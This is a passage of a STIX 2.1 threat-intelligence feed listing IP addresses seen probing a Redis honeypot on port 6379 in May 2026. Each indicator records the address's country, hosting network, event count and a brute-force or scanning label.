      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=AE; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--ec3848fb-75c9-45cd-9026-d02348362b61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.233.204.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:25:10.000Z",
      "valid_until": "2026-06-04T17:25:09.000Z"
    },
    {
      "created": "2026-05-03T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--97368846-d340-45b8-a746-39f0f9e62ec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.133.118.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:25:10.000Z",
      "valid_until": "2026-06-04T17:25:09.000Z"
    },
    {
      "created": "2026-05-03T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--dbd3aa41-6b24-4ad8-8bb9-8af9f6282143",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.133.212.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T17:25:10.000Z",
      "valid_until": "2026-06-04T17:25:09.000Z"
    },
    {
      "created": "2026-05-03T18:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=41; ports=6379; cc=SC; asn=400619; asn_org=AROSSCLOUD INC.; redis_cmd_hits=0",
      "id": "indicator--8e67008d-1a46-4993-a6a2-53497bada36e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '154.217.241.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:25:14.000Z",
      "valid_until": "2026-06-04T18:25:09.000Z"
    },
    {
      "created": "2026-05-03T18:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--cacc9598-d4d9-4fe3-9e69-450503f2ed05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.185.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:25:14.000Z",
      "valid_until": "2026-06-04T18:25:09.000Z"
    },
    {
      "created": "2026-05-03T18:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=134756; asn_org=CHINANET Nanjing Jishan IDC network; redis_cmd_hits=0",
      "id": "indicator--220ffc9b-7724-482a-9a2a-ab4db7236b84",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T18:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.154.133.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:25:14.000Z",
      "valid_until": "2026-06-04T18:25:09.000Z"
    },
    {
      "created": "2026-05-03T18:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T18:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:25:14.000Z",
      "valid_until": "2026-06-04T18:25:09.000Z"
    },
    {
      "created": "2026-05-03T18:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--07f4c969-98be-4f62-bb7c-c04e7403d635",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T18:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T18:25:14.000Z",
      "valid_until": "2026-06-04T18:25:09.000Z"
    },
    {
      "created": "2026-05-03T19:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--d404c181-a921-4c5f-bbd0-98e69fe81c37",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T19:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '115.190.12.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:25:12.000Z",
      "valid_until": "2026-06-04T19:25:09.000Z"
    },
    {
      "created": "2026-05-03T19:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=56046; asn_org=China Mobile communications corporation; redis_cmd_hits=0",
      "id": "indicator--5ad59d1d-f943-4f33-a1a7-b3a4b16bb0b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '223.108.24.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:25:12.000Z",
      "valid_until": "2026-06-04T19:25:09.000Z"
    },
    {
      "created": "2026-05-03T19:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--0ef8926e-d89d-4b6f-a831-8daee5b8198a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T19:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:25:12.000Z",
      "valid_until": "2026-06-04T19:25:09.000Z"
    },
    {
      "created": "2026-05-03T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=BG; asn=213438; asn_org=ColocaTel Inc.; redis_cmd_hits=0",
      "id": "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:25:10.000Z",
      "valid_until": "2026-06-04T20:25:09.000Z"
    },
    {
      "created": "2026-05-03T22:25:36.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--2c63eeb0-a193-4caf-951e-0acb22f87726",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T22:25:36.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '81.70.2.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:25:36.000Z",
      "valid_until": "2026-06-04T22:25:09.000Z"
    },
    {
      "created": "2026-05-03T23:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=RU; asn=44050; asn_org=Petersburg Internet Network ltd.; redis_cmd_hits=0",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T23:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T23:25:19.000Z",
      "valid_until": "2026-06-04T23:25:09.000Z"
    },
    {
      "created": "2026-05-04T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--b5f42170-bff1-4de5-9370-d78c7cab198c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:25:11.000Z",
      "valid_until": "2026-06-05T00:25:10.000Z"
    },
    {
      "created": "2026-05-04T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--1d578b46-41ca-4be3-8a77-7fc004f92b03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T00:25:11.000Z",
      "valid_until": "2026-06-05T00:25:10.000Z"
    },
    {
      "created": "2026-05-04T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:25:11.000Z",
      "valid_until": "2026-06-05T03:25:08.000Z"
    },
    {
      "created": "2026-05-04T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--150ba5d1-ad89-41ba-afba-a7ee43b2f839",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T03:25:11.000Z",
      "valid_until": "2026-06-05T03:25:08.000Z"
    },
    {
      "created": "2026-05-04T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=135089; asn_org=China Telecom; redis_cmd_hits=0",
      "id": "indicator--1a456dab-2fc6-46c4-b000-96f6fbff7118",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.56.243.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T05:25:10.000Z",
      "valid_until": "2026-06-05T05:25:09.000Z"
    },
    {
      "created": "2026-05-04T06:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--7a451679-7459-4e82-b526-bdbb30c402e1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T06:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.13.45.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:25:05.000Z",
      "valid_until": "2026-06-05T06:25:03.000Z"
    },
    {
      "created": "2026-05-04T06:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4812; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--30cb16a0-217b-4c34-9aae-7f5c489570e9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T06:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '218.78.131.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T06:25:05.000Z",
      "valid_until": "2026-06-05T06:25:03.000Z"
    },
    {
      "created": "2026-05-04T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=90; ports=6379; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--fe818699-5f61-4c2b-aa82-82a74ea2f5b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.163.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:25:10.000Z",
      "valid_until": "2026-06-05T07:25:08.000Z"
    },
    {
      "created": "2026-05-04T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--4bf08bdb-1621-4b16-b240-3a426d74694a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.175.203.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T07:25:10.000Z",
      "valid_until": "2026-06-05T07:25:08.000Z"
    },
    {
      "created": "2026-05-04T11:25:22.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--5be67b53-bbce-4d13-baa1-1d87a0365a5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:25:22.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.65.193.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:25:22.000Z",
      "valid_until": "2026-06-05T11:25:09.000Z"
    },
    {
      "created": "2026-05-04T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--8faf1ea2-dd49-499e-b52b-9b42dc11928b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.236.96.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:25:10.000Z",
      "valid_until": "2026-06-05T13:25:09.000Z"
    },
    {
      "created": "2026-05-04T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--8ffea8cd-b594-4410-9708-2fa5dcdc61c6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.103.220.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:25:12.000Z",
      "valid_until": "2026-06-05T14:25:09.000Z"
    },
    {
      "created": "2026-05-04T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=JP; asn=151390; asn_org=RUTILEA, Inc.; redis_cmd_hits=0",
      "id": "indicator--5c00d15a-c886-40a7-972a-dfe4e06bbf1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.66.255.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:25:12.000Z",
      "valid_until": "2026-06-05T14:25:09.000Z"
    },
    {
      "created": "2026-05-04T17:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=153; ports=6379; cc=FR; asn=16276; asn_org=OVH SAS; redis_cmd_hits=0",
      "id": "indicator--39a45b45-38c2-4098-9098-ca15ab59db1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T17:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '51.68.207.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:25:10.000Z",
      "valid_until": "2026-06-05T17:25:09.000Z"
    },
    {
      "created": "2026-05-04T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--4a6acbc5-9a97-4103-a5fa-0ebbbf9a5867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:25:10.000Z",
      "valid_until": "2026-06-05T22:25:09.000Z"
    },
    {
      "created": "2026-05-04T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=CN; asn=56046; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--3774f2cb-c02f-4506-8fa9-2c9d1b02b361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.139.84.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T22:25:10.000Z",
      "valid_until": "2026-06-05T22:25:09.000Z"
    },
    {
      "created": "2026-05-04T23:25:35.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--f3145607-ab78-4c4e-9722-4d8be2766a10",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-04T23:25:35.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '115.190.15.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:25:35.000Z",
      "valid_until": "2026-06-05T23:25:09.000Z"
    },
    {
      "created": "2026-05-05T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--e85c4b06-bf8d-404a-8ea8-2f07b823d4b9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.206.108.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:25:10.000Z",
      "valid_until": "2026-06-06T00:25:09.000Z"
    },
    {
      "created": "2026-05-05T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--84d05e4b-fcce-4969-a37f-cd740a3c78cc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.113.235.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:25:10.000Z",
      "valid_until": "2026-06-06T00:25:09.000Z"
    },
    {
      "created": "2026-05-05T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:25:10.000Z",
      "valid_until": "2026-06-06T00:25:09.000Z"
    },
    {
      "created": "2026-05-05T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--877fcab7-17eb-405c-a322-9c06759cc2f6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:25:10.000Z",
      "valid_until": "2026-06-06T00:25:09.000Z"
    },
    {
      "created": "2026-05-05T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.255.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:25:10.000Z",
      "valid_until": "2026-06-06T01:25:09.000Z"
    },
    {
      "created": "2026-05-05T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--7a86fc75-9915-4413-91b1-37a0f0471fcc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.217.208.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T01:25:10.000Z",
      "valid_until": "2026-06-06T01:25:09.000Z"
    },
    {
      "created": "2026-05-05T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--e4e1d136-1f09-4ccb-bf86-f14d07a82d87",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.161.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T02:25:10.000Z",
      "valid_until": "2026-06-06T02:25:09.000Z"
    },
    {
      "created": "2026-05-05T03:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--7a58d934-ad32-4697-b07d-ceda43c25226",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-05T03:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.76.52.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T03:25:05.000Z",
      "valid_until": "2026-06-06T03:25:04.000Z"
    },
    {
      "created": "2026-05-05T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--769a4e9f-c632-43a8-9858-d7bc82ac805f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T04:25:10.000Z",
